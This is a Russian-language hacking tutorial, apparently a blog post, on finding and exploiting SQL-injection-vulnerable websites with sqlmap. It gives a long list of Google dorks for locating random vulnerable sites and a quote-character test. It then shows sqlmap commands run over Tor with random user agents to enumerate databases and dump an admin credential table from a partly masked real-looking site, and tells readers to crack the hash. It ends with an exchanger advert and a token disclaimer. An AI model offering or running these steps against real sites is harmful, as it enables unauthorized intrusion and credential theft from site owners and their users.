Используем SQL инъекции на практике

Используем SQL инъекции на практике

CYBER_HAT

Приветствую, друг!


В связи с участившимися вопросами про SQL инъекции [sqlmap] я решил сделать статью с подробной инструкцией.


Что же такое SQL injection и Sqlmap?


Внедрение SQL-кода (SQL injection) - один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.


Sqlmap - это инструмент с открытым исходным кодом для тестирования на проникновение, который автоматизирует процесс выявления и эксплуатации уязвимости SQL-инъекця и захват серверов баз данных. Он поставляется с мощным движком выявления и многими нишевыми функциями для конечного тестера на проникновение, имеет широкий набор возможностей, начиная от сбора отпечатков баз данных по полученной от них данным, до доступа к файловой системе и выполнения команд в операционной системе посредством внеполосных (out-of-band) подключений.


Фишки Sqlmap:

  • Извлечение имен пользователей, хешей их паролей, а также привилегий и полей.
  • Автоматическое распознавание типа используемого хеша и возможность взлома его с помощью брутфорса по словарю.
  • Получение списка баз данных, таблиц и столбцов.
  • Возможность сделать полный или частичный дамп базы данных.
  • Продвинутый механизм поиска баз, таблиц или даже столбцов (по всем базам сразу), что может быть полезно для определения таблиц с "интересными" данными вроде имен пользователей (users) или паролей (pass).
  • Загрузка или, наоборот, закачка произвольных файлов на сервер, если уязвимое веб-приложение использует MySQL, MySQL, PostreSQL или Microsoft SQL Server.
  • Выполнение произвольных команд и получение шелла, если на хосте используется одна из СУБД, перечисленных в предыдущем пункте.
  • Поддержка прямого подключения к базе данных (без явного использования SQL-уязвимости) с использованием полученных в ходе атаки имени и пароля пользователя для доступа к DMBS, а также IP-адреса, порта и имени базы данных.
  • Установка надежного TCP-соединения (так называемого out-ofband) между машиной пентестера и хостом, на котором запущен сервер баз данных. В качестве обертки для этого канала может стать интерактивная командная строка (шелл), сессия Meterpreter или доступ к удаленному рабочему столу через VNC-подключение.
  • Повышение привилегий для процесса базы данных через команду getsystem Metasploit’а, которая, помимо прочих, реализует известную технику kitrap0d (MS10-015).


Установка Sqlmap

Данная утилита уже по стандарту установлена в kali linux, но если у вас её нет - вы можете установить её путем клонирования репозитория github:

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev


Sqlmap поставляется с различными параметрами, которые можно применять для поиска уязвимостей SQL-инъекций в целевом узле. Эти параметры можно изучить с помощью следующих команд:

python sqlmap.py -h

python sqlmap.py -hh


Поиск уязвимых сайтов

Поиск уязвимого сайта будет осуществятся через Google Dorks.

Просто вставляем любую одну из строк ниже в гугл и открываем любезно выданные ссылки потенциально уязвимых сайтов (одну строку это имеется виду, допустим inurl:item_id= ):

inurl:item_id=    inurl:review.php?id=    inurl:hosting_info.php?id=
inurl:newsid=    inurl:iniziativa.php?in=    inurl:gallery.php?id=
inurl:trainers.php?id=    inurl:curriculum.php?id=    inurl:rub.php?idr=
inurl:news-full.php?id=    inurl:labels.php?id=    inurl:view_faq.php?id=
inurl:news_display.php?getid=    inurl:story.php?id=    inurl:artikelinfo.php?id=
inurl:index2.php?option=    inurl:look.php?ID=    inurl:detail.php?ID=
inurl:readnews.php?id=    inurl:newsone.php?id=    inurl:index.php?=
inurl:top10.php?cat=    inurl:aboutbook.php?id=    inurl:profile_view.php?id=
inurl:newsone.php?id=    inurl:material.php?id=    inurl:category.php?id=
inurl:event.php?id=    inurl:eek:pinions.php?id=    inurl:publications.php?id=
inurl:product-item.php?id=    inurl:announce.php?id=    inurl:fellows.php?id=
inurl:sql.php?id=    inurl:rub.php?idr=    inurl:downloads_info.php?id=
inurl:index.php?catid=    inurl:galeri_info.php?l=    inurl:prod_info.php?id=
inurl:news.php?catid=    inurl:tekst.php?idt=    inurl:shop.php?do=part&id=
inurl:index.php?id=    inurl:newscat.php?id=    inurl:productinfo.php?id=
inurl:news.php?id=    inurl:newsticker_info.php?idn=    inurl:collectionitem.php?id=
inurl:index.php?id=    inurl:rubrika.php?idr=    inurl:band_info.php?id=
inurl:trainers.php?id=    inurl:rubp.php?idr=    inurl:product.php?id=
inurl:buy.php?category=    inurl:eek:ffer.php?idf=    inurl:releases.php?id=
inurl:article.php?ID=    inurl:art.php?idm=    inurl:ray.php?id=
inurl:play_old.php?id=    inurl:title.php?id=    inurl:produit.php?id=
inurl:declaration_more.php?decl_id=    inurl:news_view.php?id=    inurl:pop.php?id=
inurl:pageid=    inurl:select_biblio.php?id=    inurl:shopping.php?id=
inurl:games.php?id=    inurl:humor.php?id=    inurl:productdetail.php?id=
inurl:page.php?file=    inurl:aboutbook.php?id=    inurl:post.php?id=
inurl:newsDetail.php?id=    inurl:eek:gl_inet.php?ogl_id=    inurl:viewshowdetail.php?id=
inurl:gallery.php?id=    inurl:fiche_spectacle.php?id=    inurl:clubpage.php?id=
inurl:article.php?id=    inurl:communique_detail.php?id=    inurl:memberInfo.php?id=
inurl:show.php?id=    inurl:sem.php3?id=    inurl:section.php?id=
inurl:staff_id=    inurl:kategorie.php4?id=    inurl:theme.php?id=
inurl:newsitem.php?num=    inurl:news.php?id=    inurl:page.php?id=
inurl:readnews.php?id=    inurl:index.php?id=    inurl:shredder-categories.php?id=
inurl:top10.php?cat=    inurl:faq2.php?id=    inurl:tradeCategory.php?id=
inurl:historialeer.php?num=    inurl:show_an.php?id=    inurl:product_ranges_view.php?ID=
inurl:reagir.php?num=    inurl:preview.php?id=    inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num=    inurl:loadpsb.php?id=    inurl:transcript.php?id=
inurl:forum_bds.php?num=    inurl:eek:pinions.php?id=    inurl:channel_id=
inurl:game.php?id=    inurl:spr.php?id=    inurl:aboutbook.php?id=
inurl:view_product.php?id=    inurl:pages.php?id=    inurl:preview.php?id=
inurl:newsone.php?id=    inurl:announce.php?id=    inurl:loadpsb.php?id=
inurl:sw_comment.php?id=    inurl:clanek.php4?id=    inurl:pages.php?id=
inurl:news.php?id=    inurl:participant.php?id=
inurl:avd_start.php?avd=    inurl:download.php?id=
inurl:event.php?id=    inurl:main.php?id=
inurl:product-item.php?id=    inurl:review.php?id=
inurl:sql.php?id=    inurl:chappies.php?id=
inurl:material.php?id=    inurl:read.php?id=
inurl:clanek.php4?id=    inurl:prod_detail.php?id=
inurl:announce.php?id=    inurl:viewphoto.php?id=
inurl:chappies.php?id=    inurl:article.php?id=
inurl:read.php?id=    inurl:person.php?id=
inurl:viewapp.php?id=    inurl:productinfo.php?id=
inurl:viewphoto.php?id=    inurl:showimg.php?id=
inurl:rub.php?idr=    inurl:view.php?id=
inurl:galeri_info.php?l=    inurl:website.php?id=


Проверяем, уязвим ли сайт к SQL-инъекцииям

Для этого просто в адресной строке браузера, после цифр, ставим одинарную ковычку:

www.cor*og*ncl*rk.com/newsitem.php?id=8‘


И если сайт выдаст вам ошибку по типу:

То поздравляю, вы нашли сайт, уязвимый к SQL-инъекцииям.


Получение структуры базы данных.


Переходим непосредственно к процессу эксплуатации инъекции на обнаруженном нами сайте. В работе с sqlmap есть достаточно много различных ньюансов, и разберём мы базовые.


Запускаем сервера tor:

tor

После чего прописываем в терминал:

python sqlmap.py -u [уязвимый сайт] --dbs --tor  --random-agent

Объяснение к опциям:

  • -u задаёт целевой адрес (вводится обязательно с протоколом http/https)
  • -- dbs - параметр для получения имён баз данных
  • -- tor запустит соединение через тор
  • -- random-agent позволит утилите использовать случайный http-заголовок для передачи серверу.

Успех! Мы узнали название баз данных.

В базе information_schema нет ничего интересного, это стандартная база mysql, поэтому мы перейдём к анализу "cordoganclarknew".


Исключаем параметр -- dbs и вместо него используем -- tables. Так же, добавляем новый ключ -D, который задаёт имя сканируемой базы. Этот запрос выдаст нам все таблицы базы "cordoganclarknew". В итоге мы получаем:

sqlmap -u  [уязвимый сайт] -D cordoganclarknew --tables --tor --random-agent

Получаем таблицы:

И сразу же мы видим таблицу "auth_user_md5". Очевидно, что нам необходимо получить её. Получаем названия столбцов базы:

sqlmap -u [уязвимый сайт] -D cordoganclarknew -T auth_user_md5 --columns --tor --random-agent

Теперь читаем данные из таблицы, и сохраняем их на свой жёсткий диск:

sqlmap -u [уязвимый сайт] -D cordoganclarknew -T auth_user_md5 --dump --tor --random-agent

В итоге, получаем заветный логин и хеш пароля, для админки сайта:

А как расшифровать хеш пароля ищите в интернете, дальше показывать уже запрещено.


Спасибо за прочтение, надеюсь статья была полезна.


Материал


ExWex - обменник твоей мечты (КЛИК)


Дисклеймер: мы не призываем Вас к каким-либо действиям, статья написана исключительно в ознакомительных целях, мы не несем никакой ответственности за Ваши действия, все персонажи вымышлены, любое сходство с реальными людьми случайно!

Report Page